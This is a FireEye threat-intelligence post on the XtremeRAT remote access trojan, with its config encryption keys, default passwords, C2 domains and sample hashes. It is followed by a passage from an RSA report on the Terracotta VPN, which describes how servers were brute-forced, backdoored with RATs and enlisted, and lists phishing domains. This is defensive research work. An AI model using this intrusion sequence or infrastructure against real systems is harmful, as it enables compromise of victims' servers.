This pre-built malware has all the functionality needed to conduct cyber espionage and is controlled directly by humans, who have the ability to adapt to network defenses.
As a result, the threat posed by these RATs should not be underestimated.
However, it is difficult to distinguish and correlate the activity of targeted threat actors based solely on their preference to use particular malware  especially, freely available malware.
From an analysts perspective, it is unclear whether these actors choose to use this type of malware simply out of convenience or in a deliberate effort to blend in with traditional cybercrime groups, who also use these same tools.
There are numerous RATs available for free and for purchase in online forums, chat rooms and market places on the Internet.
Most RATs are easy to use and thus attract novices.
They are used for a variety of criminal activity, including sextortion.
[
1] The ubiquity of these RATs makes it difficult to determine if a particular security incident is related to a targeted threat, cybercrime or just a novice script kiddie causing a nuisance.
Although publicly available RATs are used by a variety of operators with different intents, the activity of particular threat actors can still be tracked by clustering command and control server information as well as the information that is set by the operators in the builder.
These technical indicators, combined with context of an incident (such as the timing, specificity and human activity) allow analysts to assess the targeted or non-targeted nature of the threat.
In this post, we examine a publicly available RAT known as XtremeRAT.
This malware has been used in targeted attacks as well as traditional cybercrime.
During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.
Why have these traditional cybercrime operators begun to distribute RATs?
This seems odd, considering RATs require manual labor as opposed to automated banking Trojans.
Based on our observations we propose one or more of the following possible explanations: 1.
Smokescreen The operations may be part of a targeted attack that seeks to disguise itself and its possible targets, by using spam services to launch the attacks.
2.
Less traditional tools available With more crimeware author arrests and/or disappearance of a number of banking Trojan developers, cybercriminals are resorting to using RATs to manually steal data, such as banking and credit card details.
[
2] 3.
Complicated defenses require more versatile tools As many traditional banking and financial institutions have improved their security practices, perhaps attackers have had a much more difficult time developing automation in their Trojans to cover all variations of these defenses as such, RATs provide more versatility and effectiveness, at the expense of scalability.
4.
Casting a wider net After compromising indiscriminate targets, attackers may dig deeper into specific targets of interest and/or sell off the access rights of the victims systems and their data to others.
These possible explanations are not mutually exclusive.
One or all of them may be factors in explaining this observed activity.
XtremeRAT The XtremeRAT was developed by xtremecoder and has been available since at least 2010.
Written in Delphi, the code of XtremeRAT is shared amongst several other Delphi RAT projects including SpyNet, CyberGate, and Cerberus.
The RAT is available for free however, the developer charges 350 Euros for the source code.
Unfortunately for xtremecoder, the source code has been leaked online.
The current version is Xtreme 3.6, however, there are a variety of private version of this RAT available as well.
As such, the official version of this RAT and its many variants are used by a wide variety of actors.
XtremeRAT allows an attacker to: Interact with the victim via a remote shell Upload/download files Interact with the registry Manipulate running processes and services Capture images of the desktop Record from connected devices, such as a webcam or microphone Moreover, during the build process, the attacker can specify whether to include keylogging and USB infection functions.
Extracting Intelligence XtremeRAT contains two components: a client and a server however, from the attackers perspective, these terms have reversed meanings.
Specifically, according to the author, the server component is the malware that resides on victim endpoints that connect to the client, which is operated by the attacker from one or more remote command-and-control (CnC) systems.
Due to this confusing and overloaded terminology, we refer to the server as a backdoor on the victim and the client as a remote controller operated by the attacker.
XtremeRAT backdoors maintain and reference configuration data that was chosen by the attacker at the time they were built.
This data can contain very useful hints to help group attacks and attribute them to actors, similar to what we have previously described in our Poison Ivy whitepaper.
[
3] Several versions of XtremeRAT write this configuration data to disk under APPDATA\Microsoft\Windows, either directly, or to a directory named after mutex configured by the attacker.
When written to disk, the data is RC4 encrypted with a key of either CYBERGATEPASS or CONFIG for the versions we have analyzed.
In both cases, the key is Unicode.
The config file has either a .nfo or .cfg extension depending on the version.
XtremeRATs key scheduling algorithm (KSA) implementation contains a bug wherein it only considers the length of the key string, not including the null bytes between each character, as is found in these Unicode strings.
As a result, it only effectively uses the first half of the key.
For example, the key C\x00O\x00N\x00F\x00I\x00G\x00 is 12 bytes long, but the length is calculated as only being 6 bytes long.
Because of this, the key that is ultimately used is C\x00O\x00N\x00.
The configuration data includes: Name of the installed backdoor file Directory under which the backdoor file is installed Which process it will inject into (if specified) CnC information FTP information for sending stolen keystroke data to Mutex name of the master process, ID and group name which are used by the actors for organizational purposes Because the decrypted configuration data can be reliably located in memory (with only slight variations in its structure from version to version) and because not all versions of XtremeRAT will write their configuration data to disk, parsing memory dumps of infected systems is often the ideal method for extracting intelligence.
We are releasing python scripts we have developed to gather the configuration details for various versions of XtremeRAT from both process memory dumps and the encrypted configuration file on disk.
The scripts are available at https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT.
Also included in this toolset is a script that decrypts and prints the contents of the log file created by https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT XtremeRAT containing victim keystroke data.
This log file is written to the same directory as the config file and has a .dat extension.
Curiously, this log file is encrypted with a simple two-byte XOR instead of RC4.
Later in this blog, we will share some of the configuration details we have extracted during our subsequent analysis.
XtremeRAT Activity Using telemetry from the FireEye Dynamic Threat Intelligence (DTI) cloud, we examined 165 XtremeRAT samples from attacks that primarily hit the following sectors: Energy, utilities, and petroleum refining Financial Services High-tech These incidents include a spectrum of attacks including targeted attacks as well as indiscriminate attacks.
Among these XtremeRAT-based attacks, we found that 4 of the 165 samples were used in targeted attacks against the High-Tech sector by threat actors we have called MoleRats.
[
4] Operation Molerats In 2012, XtremeRAT was used against a variety of governments as well as Israeli and Palestinian targets in what was known as Operation Molerats (the same attackers have also used variants of the Poison Ivy RAT).
[
5] Upon executing one particular sample (45142b17abd8a17a5e38305b718f3415), the malware beacons to test.cable-modem.org and idf.blogsite.org.
In this particular case, the attacker used XtremeRAT 2.9 within a self-extracting archive that also presents a decoy document to the victim, where the decoy content appears to have been copied from a website.
Figure 1.
Contents of SFX archive containing XtremeRAT http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr1.png Figure 2.
SFX settings inside malicious archive http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr2.png Figure 3.
Decoy content presented in malicious archive Figure 4 shows the controller the attacker uses to interact with systems compromised with XtremeRAT.
In this case, it appears the actor used the ID field to record the type of attack delivered (docx) and the Group field was used to record a campaign code (IDF), which helps the actor keep track of the set of victims that were attacked during this campaign.
http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr3.png Figure 4.
XtremeRAT controller GUI The attacker modified the highlighted information at build time.
By default, the XtremeRAT controller sets the ID field as Server and Group field as Servers, with the default password used to authenticate, connect, and control a compromised endpoint as 1234567890.
http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr4.png Figure 5.
XtremeRAT controller connection settings In the Figure 5, the attacker specified custom CnC servers and ports and changed the default password to 1411.
The attacker also changed the default process mutex name.
http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr5.png Figure 6.
XtremeRat install settings By default, the controller assigns a process mutex name of is ((Mutex)) and the attackers changed it to fdgdfdg.
These indicators along with command and control domain names and the IP addresses that they resolve to can be used to cluster and track this activity over time.
http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr6.png Figure 7.
Molerats cluster analysis This is a cluster of Molerats activity.
In addition to using the password 1411, the attackers are also using the password 12345000.
This is a simple way to track the activity of these actors by using both passive DNS data and configuration information extracted from XtremeRAT.
Spam Activity The vast majority of XtremeRAT activity clustered around the default password 1234567890 (116 samples).
There was overlap between this large cluster and the second largest one which used the password 123456 (12 samples).
The activity in these two clusters aligns with indicators observed in Spanish language spam runs.
The 123456 cluster also contains spam in the English language, leveraging the recent tragedy in Kenya as a lure.
[
7] The Uranio Cluster In our sample set, we have 28 malware samples that connect to a set of sequentially numbered command http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr7.png and control servers: uranio.no-ip.biz uranio2.no-ip.biz uranio3.no-ip.biz uranio4.no-ip.biz uranio5.no-ip.biz uranio6.no-ip.biz uranio7.no-ip.biz platino.no-ip.biz platino-2.no-ip.biz platino-4.no-ip.biz platino-5.no-ip.biz platino-8.no-ip.biz platino-9.no-ip.biz cometa3.no-ip.biz cometa4.no-ip.biz The malware is being spammed out and has file names such as: Certificaciones De Pagos Nominas Parafiscales jpg 125420215 58644745574455 .exe Soportes de pagos  certificaciones y documentos mes mayo 30 2013 567888885432235678888888123456.exe Certificaciones De Pago Y Para Fiscales.exe We extracted the configurations for a sampling of the XtremeRAT samples we came across in this spam run and found the following results: MD5 ID Group Version Mutex a6135a6a6346a460792ce2da285778b1 ABRIL CmetaS3 3.6 Private C5AapWKh 988babfeec5111d45d7d7eddea6daf28 ABRIL CmetaS3 3.6 Private C5AapWKh 715f54a077802a0d67e6e7136bcbe340 ABRIL CmetaS3 3.6 Private C5AapWKh 167496763aa8d369ff482c4e2ca3da7d ABRIL CmetaS3 3.6 Private C5AapWKh 3f288dfa95d90a3cb4503dc5f3d49c16 Server Cometa4 3.6 Private 4QtgfoP 6a8057322e62c569924ea034508068c9 Server Platino4 3.6 Private mbojnXS 37b90673aa83d177767d6289c4b90468 Server Platino4 3.6 Private mbojnXS 98fb1014f6e90290da946fdbca583334 Server Platino8 3.6 Private G7fjZQYAH 5a9547b727f0b4baf9b379328c797005 Server Platino8 3.6 Private G7fjZQYAH fb98c8406e316efb0f46024f7c6a6739 Server Platino9 3.6 Private kUHwdc8Y 64f6f819a029956b8aeafb729512b460 Server Uranio 3.6 Private eYwJ6QX0i a4c47256a7159f9556375c603647f4c2 Mayo Uranio2011 3.6 Private 0pg6ooH 62d6e190dcc23e838e11f449c8f9b723 Mayo Uranio2011 3.6 Private 0pg6ooH d5d99497ebb72f574c9429ecd388a019 Mayo Uranio2011 3.6 Private 0pg6ooH 3a9237deaf25851f2511e355f8c506d7 Server Uranio3 1.3.6.16 QwcgY0a c5e95336d52f94772cbdb2a37cef1d33 Server Uranio3 1.3.6.16 QwcgY0a 0ea60a5d4c8c629c98726cd3985b63c8 Server Uranio4 1.3.6.16 xjUfrQHP6Xy 41889ca19c18ac59d227590eeb1da214 Server Uranio4 1.3.6.16 xjUfrQHP6Xy 90e11bdbc380c88244bb0152f1142aff Server Uranio4 1.3.6.16 xjUfrQHP6Xy c1ad4445f1064195de1d6756950e2ae9 Server Uranio5 3.6 Private R9lmAhUK e5b781ec77472d8d4b3b4a4d2faf5761 Server Uranio6 3.6 Private KdXTsbjJ6 a921aa35deedf09fabee767824fd8f7e Server Uranio6 3.6 Private KdXTsbjJ6 9a2e510de8a515c9b73efdf3b141f6c2 CC Uranio7 3.6 Private UBt3eQq0 a6b862f636f625af2abcf5d2edb8aca2 CC Uranio7 3.6 Private iodjmGyP3 0327859be30fe6a559f28af0f4f603fe CC Uranio7 3.6 Private UBt3eQq0 Server, Servers, and ((Mutex)) are the defaults in the XtremeRAT controller for ID, Group, and Mutex respectively.
The random mutex names in the table above can be generated by double-clicking in the Mutex field within the controller.
In most cases, the number at the end of the group label is the same number used at the end of the subdomain for the CnC.
In the case of Uranio2011, the subdomain is simply uranio and 2011 represents the port number used to communicate with the CnC infrastructure.
Figure 8.
Portugese version of XtremeRAT controller Uranio Sinkhole Analysis We sinkholed uranio2.no-ip.biz between November 22, 2013 and January 6, 2014.
During that time, 12000 unique IPs connected to the uranio2.no-ip.biz.
Recall, that this number reflects only one of many command and control servers.
[
8] However, estimating the number of victims this way is difficult due to DHCP lease times, which inflate the numbers, and NAT connections, which deflate the numbers.
[
9] As such, we counted the unique IP addresses that connected to the sinkhole on each day.
The highest number of connections to this sinkhole was on Dec. 3, 2013 with 2003 connections and the lowest was Jan. 6, 2014 with 109 connections.
The average number of unique IP addresses that connected to the sinkhole per day was 657.
While these IP addresses were in ranges assigned to 40 distinct countries, the vast majority of the connections to the sinkhole (92.7 percent) were from Colombia.
Argentina was a distant second with 1.22 percent, followed by Venezuela with 1.02 percent, Egypt with 0.95 percent and the U.S. with 0.9 percent.
Conclusion Determining the activity of targeted threat actors is difficult.
Most of the activity associated with publicly http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr8.png available RATs is traditional cybercrime associated with spam runs, banking Trojans and malware distribution.
However, useful indicators can be extracted from these ubiquitous RATs to track the activities of targeted threat actors (as well as cybercrime).
Tools https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT Notes: 1.
http://arstechnica.com/tech-policy/2013/09/miss-teen-usas-webcam-spy-called-himself- cutefuzzypuppy/ http://arstechnica.com/tech-policy/2011/09/how-an-omniscient-internet-sextortionist- ruined-lives/ 2.
The group behind the Carberp banking Trojan were arrested http://www.techweekeurope.co.uk/news/carberp-botnet-leader-arrested-112205, the author of Zeus retired, http://krebsonsecurity.com/2010/10/spyeye-v-zeus-rivalry-ends-in-quiet-merger/, the author of SpyEye went into hiding http://www.xylibox.com/2012/03/behind-spyeye-gribodemon.html and was recently arrested http://www.wired.com/threatlevel/2014/01/spy-eye-author-guilty-plea/, FBI and Microsoft have gone after Citadel which is not off the market https://blogs.rsa.com/citadels-steward- banned-from-undergorund-venues/ http://www.microsoft.com/en-us/news/press/2013/jun13/06- 05dcupr.aspx and an overview of the Big 4 banking Trojans http://blog.kaspersky.com/the-big-four- banking-trojans/ 3.
http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 4.
http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 5.
http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and- other-foreign-governments/ http://download01.norman.no/whitepapers/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 6.
http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId30825 7.
http://www.symantec.com/connect/blogs/spammers-use-kenya-terrorist-attack-spread-malware 8.
We filtered out all non-XtremeRAT traffic and ensured that each of the 12000 IPs attempted to make an XtremeRAT connection.
https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT 9.
https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/rajab/rajab.pdf This entry was posted in Threat Intelligence, Threat Research by Nart Villeneuve and James T. Bennett.
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RSA Research RSA RESEARCH TERRACOTTA VPN Enabler of Advanced Threat Anonymity August 4, 2015 2 Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.
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August 4, 2015 3 EXECUTIVE SUMMARY .......................................................................... 5 BACKGROUND ...................................................................................... 5 WHAT IS TERRACOTTA VPN?
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5 TERRACOTTA VPN COMPONENTS .......................................................... 6 BEHIND THE TERRACOTTA NODES ....................................................... 7 BEHIND TERRACOTTA NODES: THE VICTIMS ........................................ 9 TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI ...... 9 THE ECONOMICS OF HACKING FOR A PROFIT .................................... 10 VPN NODES THAT DONT LOOK LIKE VPN NODES ............................ 11 WHO USES TERRACOTTA VPN?
...........................................................
12 SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN .............................................................................. 12 TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR ..................................... 12 SHELL_CREW ..................................................................................... 14 TERRACOTTA VPN BREAKDOWN ......................................................... 15 DETECTION ........................................................................................ 15 DETECTING NODE ENLISTMENT ACTIVITY ......................................... 15 DETECTING NODE USE IN ATTACKS .................................................... 15 DETECTING USE OF TERRACOTTA VPN RESOURCES ............................ 16 DETECTING TERRACOTTA ASSOCIATED MALWARE ............................. 16 DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT ........................................................................................... 23 DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT ........................................................................................... 25 PREVENTION ...................................................................................... 32 ATTRIBUTION AND PATTERN OF LIFE ................................................ 32 CONCLUSIONS ................................................................................... 33 4 APPENDIX .......................................................................................... 33 AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST ....................... 33 AUTHORS ........................................................................................... 33 5 EXECUTIVE SUMMARY In this report, RSA Research explores in depth a malware-supported VPN network, known internally to RSA as Terracotta.
Terracotta is an active launch-platform for APT activities of Shell_Crew / DeepPanda and other APT actors, used to obscure the origins of the threat actors malicious activities.
It is ensnaring a new class of victims (legitimate commercial and government entities, unknowinly serving VPN nodes and bandwith) into larger-scale APT cases.
Fortunately, enlistment in the Terracotta network is readily preventable by using well-established cybersecurity practices.
Detection and mitigation for enlisted systems is also quite feasible.
Terracotta is commercially marketed in the Peoples Republic of China (PRC) under several different brand names.
VPN services are quite marketable in China as a means to anonymously traverse government internet censorship.
Terracottas malicious methods for acquiring nodes and theft of bandwidth likely derives substantial cost-savings for its operators.
Having provided Terracotta VPN indicators to trusted partners, RSA has received multiple reports of (and since observed) suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses.
Targets appear to have included Western governments and several commercial entities.
By using Terracotta VPN, advanced threat actors appear to originate from seemingly benign sources.
Blocking, restricting, or detecting by IP address indicators is difficult because new nodes (hosted in legitimate organizations) are being continuously added.
This report by RSA Research may represent the first exposure of a PRC-based VPN operation that maliciously, efficiently and rapidly enlists vulnerable servers around the world.
It is the first time RSA Research has seen Shell_Crew / DeepPanda and other similar APT actors using such networks for anonymization and obfuscation.
BACKGROUND Virtual Private Networks (VPN) are very popular.
They are part and parcel for almost every enterprise network, especially those with remote employees.
Aside from VPNs for enterprises, there are many reputable commercial VPN services that offer low-cost, reliable service to individual users.
These users employ VPNs for reasons that might include connection security, protection of private data, online gaming acceleration, and bypassing service provider restrictions.
VPNs are also used by cyber criminals, as it allows them to obscure their true source location.
When a commercial VPN service provider uses resources such as servers and copious bandwidth stolen or repurposed from unsuspecting victims for purposes of profit, analysis and reporting are in order.
In this report, RSA Research exposes one such operator doing business with multiple VPN brand names marketed primarily in the Peoples Republic of China (PRC).
Operating with more than 1500 end nodes around the world, RSA Research has confirmed that at least thirty of the host systems are compromised Windows servers that were harvested without the victims knowledge or permission.
The operators behind Terracotta VPN continue their broad campaign to compromise multiple victim organizations around the world.
RSA Research is reporting on the associated VPN operator because: There is evidence of compromise of multiple victim organization systems around the world, There is evidence of illicit installation of software and malicious remote access tools on the victims servers, and There is evidence of theft of victims resources and bandwidth to serve clients (including advanced threat actors) with a high-performance anonymity service.
NOTE:  There are two classes of victims described and referred to in this report.
Most of the references to victims are of those unknowingly enlisted into the Terracotta VPN service, as outlined above.
A second class of victims, APT targets, have been targeted by other actors who are using Terracotta for anonymization and obfuscation.
Throughout this report, we specificly refer to APT-victims accordingly, while leaving the generic victim designation for the Terracotta nodes.
WHAT IS TERRACOTTA VPN?
Terracotta VPN is the name used by RSA Research to describe the dynamically-maintained conglomerate of multiple VPN brand names marketed on Chinese-language websites.
The websites are principally linked by common domain name registrant email addresses and are often hosted on the same infrastructure with the same basic web content.
6 TERRACOTTA VPN COMPONENTS There are several high-level components to the Terracotta VPN system.
WEBSITES: The most visible Terracotta VPN components are the websites that market the service and the specific brands associated with Terracotta VPN.
VPN users can download the software clients, obtain trial credentials, change credentials for their paid accounts, and add credit to paid accounts from these websites.
CLIENT SOFTWARE: The client software is another common Terracotta VPN element.
The client interfaces are skinned with images and logos consistent with their corresponding websites.
The client software is principally developed by a legitimate software vendor, according to the applications file properties and indicative by the domains contacted by the client when the user logs-in.
CLIENT SOFTWARE AUTHENTICATION: Closely-tied to the client software is the central client authentication system, by which clients use credentials to authenticate into the client software.
Upon successful login, the client software will check for updates and download the latest set of global VPN nodes.
COMMON VPN NODES: The dynamic set of 1500 VPN nodes is another component.
These nodes are shared among most of the Terracotta VPN brands and, most notably, link the different elements of the Terracotta VPN ecosystem.
The roster of nodes is updated by the various software clients during each login sequence.
Figure 1 illustrates the relationships between the Terracotta VPN components and the client VPN-tunneling sequence.
USER AUTHENTICATION The final component is the central Radius-compatible, Internet Authentication Service (IAS) directory that authenticates the user account credentials with the VPN node.
The steps are: 1.
The Terracotta user establishes an account obtains credentials and client software from one of the Terracotta brand websites.
2.
The user signs into the client UI, which authenticates the client credentials against the central client authentication system.
3.
The software client will then populate with an updated roster of VPN nodes.
4.
Once the user selects a VPN node, the node will authenticate the user credentials with the distributed IAS directory.
5.
Following successful authentication, the Point-to-Point Tunneling Protocol (PPTP) or Layer-Two Tunneling Protocol (L2TP) session is established.
At this point the user has successfully tunneled to the Internet through the Terracotta VPN end point.
Figure 1.
How Terracotta VPN Works 7 BEHIND THE TERRACOTTA NODES Where do the various Terracotta VPN providers obtain the resources to build such a vast VPN network?
Out of 1500 common VPN nodes, it is possible that some servers or appliances were legitimately obtained and leased by the Terracotta VPN operators.
We will describe how others were clearly compromised.
RSA Research proposes three possible candidates (three devices) encompassing 557 IP addresses.
We believe these devices are the best possible candidates for legitimate lease by the Terracotta VPN perpetrators for the following reasons: 1.
Massive multi-homing:  The minimum quantity of IP addresses per suspected-legitimately-leased-device is 51.
Terracotta services are marketed as very cost-effective, offering availability of a large VPN network for approximately 3/month.
Massive multi-homing of a single device is apparently a method for inflating the appearance of the network.
A Terracotta VPN client pings and displays all available nodes, noting both the date each node came online and its current response- time.
However, while the network may appear to offer multiple new nodes on a given day, nodes with the same enlistment date and similar response-times actually indicate a multi-homed device.
Further, network analysis shows the VPN clients usually connect to only a single IP address assigned to each massively multi-homed device.
This may result in lower maintenance overhead, and indicates that the Terracotta VPN operator knows full-well that there is just one device behind the large pool of available nodes.
And while there is no performance benefit from having the VPN clients ping multiple IP addresses from the same devices, doing so perpetuates the illusion of a larger network than what exists.
When connecting to each of the nodes depicted in the client UI below (several nodes reflecting one of three multi-homed devices RSA Research has identified) the exit IP addresses are randomly assigned from the large pool of available IP addresses.
Figure 2.
Screenshot of Terracotta client app, listing multi-homed nodes 8 2.
No public services other than PPTP VPN.
In instances where RSA Research has confirmed the compromise of an organization, the victim organizations used their Internet-facing servers for various use cases, none of which included VPN or Windows Remote Access services.
If these were compromised devices, we would expect the devices to be used by their legitimate owners for other purposes prior to being enlisted as Terracotta VPN nodes.
If, on the other hand, a legitimate VPN provider was compromised, we expect the operators to have noticed that their authentication process and client-base had been hijacked.
Figure 3.
RDP Login banner associated with possibly leased Terracotta VPN node A login splash screen (Figure 3) associated with the device with hostname 3819027EEA6E42F indicates the use of Windows Server 2003 Enterprise x64 Server, with Simplified Chinese locale or Chinese language pack.
The latter would be the Windows locale most-commonly used by mainland PRC or Singapore residents.
9 BEHIND TERRACOTTA NODES: THE VICTIMS All of the compromised systems, confirmed through victim-communication by RSA Research, are Windows servers.
RSA Research suspects that Terracotta is targeting vulnerable Windows servers because this platform includes VPN services that can be configured quickly (in a matter of seconds).
While most of the Terracotta victims are smaller organizations without dedicated security staff, large organizations were not immune to exploitation by the Terracotta perpetrators.
Organizations with confirmed compromised Windows servers include: Fortune 500 hotel chain A department of transportation in a U.S. state High tech manufacturer Fortune 500 engineering firm University in Taiwan University in Japan State university in the U.S. County government of a U.S. state Prize indemnity insurance company Microsoft Windows enterprise management application developer Boutique IT service provider Charter school Educational service provider Law firm U.S. university-affiliated company Web design and SEO consultant Physicians office Unified Communications as a Service (UCaaS) provider Business-to-Consumer (B2C) applications developer Public Convention center in a U.S. city Wireless test and measurement solutions provider IT Value Added Reseller (VAR) and services provider IT solutions provider/contractor for federal and local government organizations The 23 organizations listed above represent at least 31 Windows server systems that were compromised and enlisted into Terracotta.
TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI A common trait shared with all confirmed victims is that they had Internet-exposed Windows servers without hardware firewalls.
Additionally, for at least one victim with multiple servers exposed to the Internet, only those servers with the built-in Windows software firewall turned off were enlisted in the Terracotta VPN ecosystem.
In one specific compromised system analyzed by RSA Research, the following sequence of events, shown in Figure 4, was noted prior to the system becoming a node in the Terracotta VPN ecosystem: 1 Brute force password attack on the Administrator user account, via DCOM Windows Management Interface (WMI) through TCP port 135.
There are multiple security testing tools with this capability, including the popular CoreImpact python class wmiexe.py1.
The brute force activity was done from an IP address we call the reconnaissance host which was recently observed performing port 135 scanning on the Internet, according to DShield2.
2 Remote connection using Administrator credentials from the reconnaissance host several hours later to disable the Windows Firewall and install the Telnet Service.
Windows logs for this event sequence are consistent with those that would be recorded with use of standard remote administration tools available from Microsoft Management Console (MMC) via standard Windows Management Interface (WMI) protocols.
3 Login in via Remote Desktop (RDP) from a Windows system we call base host, with hostname WEI-270FBC26C38, originating from IP ranges in the vicinity of Dongguan, a suburb of Guangzhou, China.
This happens within minutes of events in sequence number two.
RSA Research has obtained forensic images indicating that this hostname was used for compromises and enlistment from January 2014 to June 2015.
1 https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py 2 http://dshield.org/ipdetails.html?ip58.162.xx.xx 10 4 From base host, uninstall Windows Defender and download and install custom Gh0st Remote Administration Tool (RAT) (dropper MD5: bccbba3ed45ead051f56fc62fef005a6) and/or custom Mitozhan RAT (MD5: 7b18614df95e71032909beb25a7b1e87) and a Windows backdoor shell daemon listening on port 3422 (MD5: 531d30c8ee27d62e6fbe855299d0e7de).
5 Creation of new Windows account (actual examples include mssql and krto) and addition of account to administrators group, from base host.
6 Days later, a login via RDP from base host in Dongguan, China using the account created in step five to install Network Policy and Access Services and Routing and Remote Access Services with custom remote access policy pointing at Terracotta Internet Authentication Services (IAS) servers.
7 Testing of Terracotta VPN centralized IAS authentication using testwj account from base host WEI-270FBC26C38.
Figure 4.
Terracotta VPN enlistment THE ECONOMICS OF HACKING FOR A PROFIT Why would a business need to hack servers for use in a VPN ecosystem, when Virtual Private Servers (VPS) are so readily and inexpensively available?
Currently, high-quality VPSs with sufficient power for use as a VPN node can be leased for as little as 5.00 per month in the U.S.
However, VPN traffic is more bandwidth-intensive than CPU-intensive.
Since many VPS solutions provide a base-level of bandwidth and charge for overage, the cost of bandwidth for a VPN service such as Terracotta would significantly affect operating expenses.
Even if the monthly recurring bandwidth costs of using VPS servers were ignored, the logistics of managing the contracts and payments with foreign and domestic providers would add significantly to the cost of operations.
Conservatively, RSA Research counted more than 300 different organizations behind the 1500 nodes in the Terracotta VPN ecosystem.
Hypothetical Discussion: If the servers were legitimate, at least 300 monthly international transactions would be required to maintain the network.
A more-profitable and simpler (if not legitimate) model may be to ensnare a seemingly endless supply of vulnerable servers on the Internet.
RSA Research proposes that the Terracotta VPN provider hacks and harvests VPN nodes because this process is not only cheaper, but logistically easier than running a complex accounts payable operation required to maintain a global 1500 node VPN ecosystem.
11 VPN NODES THAT DONT LOOK LIKE VPN NODES Several legitimate mainland PRC VPN providers were reviewed by RSA Research.
These providers were consistent in that they ostensibly provided a list of all VPN IP addresses on their websites (Figure 5).
A security analyst (or a content service provider with contractual restrictions on geographical distribution), would be able to enumerate hosts associated with the VPN provider and restrict accordingly.
In contrast, if a portion of your exit IP addresses appear to be associated with legitimate businesses and cant be easily classified as VPN nodes, then you may attract a customer interested in obscuring its origin.
The Terracotta-branded providers do not publish such lists.
Their exit nodes remain largely unrestricted, an apparent differentiator.
Figure 5.
U.S.
Nodes as displayed on a legitimate VPN service website 12 WHO USES TERRACOTTA VPN?
To help characterize the Terracotta user base, RSA Research analyzed the Microsoft Remote Access Service (MSRAS) logs for a single Terracotta victim server for one month (Table 1).
Unique successfully authenticated connections 118,948 Unique client IP addresses 9,053 Client IP Addresses in mainland PRC 8,903 (98) Client IP addresses not in mainland PRC 150 (2) Unique client account names 723 (most connections used trial accounts) Unique client host names 3,640 Table 1.
Statistics from a month of logs on an enlisted Terracotta Node Clearly, most users of Terracotta appear to originate within mainland PRC, as is consistent with where the service is marketed.
In addition to the APT activity that has been observed, RSA Research believes that use cases include Great Firewall traversal, anonymity, peer to peer (P2P) file sharing and gaming acceleration though this traffic analysis research is based on a limited number of network packet captures.
Other (non-APT) criminal activity that may leverage Terracottas anonymity is possible, but has not been observed to date.
The clients of Terracotta may be entirely unaware of the organizations methods for obtaining servers and bandwidth.
SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN Since providing Terracotta VPN indicators to trusted partners, RSA Research has received several reports of suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses.
RSA Research can confirm that suspected nation-state actors have leveraged at least 52 Terracotta VPN nodes for exploitation of sensitive targets among Western government and commercial organizations.
Perhaps one of the benefits of using Terracotta for Advanced Threat Actors is that their espionage- related network traffic can blend-in with otherwise-legitimate VPN traffic.
TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR RSA Research received a specific report from a large defense contractor concerning 27 different Terracotta VPN node IP addresses that were used to send phishing emails (Figure 6) targeting users in their organization.
The phishing emails were simple HTML formatted emails with content pasted from legitimate online news articles.
The HTML formatted emails were loaded with an intelligence-gathering tool known as a web bug3 that was specifically tailored to the recipient.
3 https://en.wikipedia.org/wiki/Web_bug 13 Figure 6.
Redacted phishing email laden with web bug sent from Terracotta VPN node IP address An image reference in the email pointed to a website controlled by the actors that spoofed a popular Webmail provider.
The image reference appeared to have been crafted so as to entice the target into logging into the phishing website with their legitimate credentials (Figure 7), thereby sending the targets webmail credentials directly to the malicious actors.
Typically APT actors use the information they gather from web bugs and phishing to later perform highly targeted exploitation or intelligence collection on specific users who have met their criteria.
Figure 7.
Spoofed login page for major webmail provider, linked from phishing email 14 RSA Research investigated the domain infrastructure related to the phishing activity described above and enumerated related domains, as shown partially redacted in Table 2.
The partial- and un-redacted domains below are representative of brands that are commonly spoofed for phishing purposes.
All of these domains have been reported and are obvious spoofs.
The domains we have redacted involve specific government and defense sector targets.
These have been reported and the targets have been notified.
Further details can be made available to industry partners.
Domains directly related to defense contractor phishing from Terracotta VPN nodes weblogin-yahoo.com weblogin-vxxxxxx.net linkedinmember.com auth-vxxxxxx.com weblogin-live.com [10 related domains based on common hosting] Table 2.
Terracotta-originating phishing campaign related domains SHELL_CREW As part of the investigation, RSA Research was able to track suspected Shell_Crew actors in their ongoing exploitation campaign of a sensitive network over several months.
These actors connected to a Derusbi server variant beachhead on this target network.
Out of the thirteen different IP addresses used during this campaign against this one (APT) target, eleven (85) were associated with Terracotta VPN nodes.
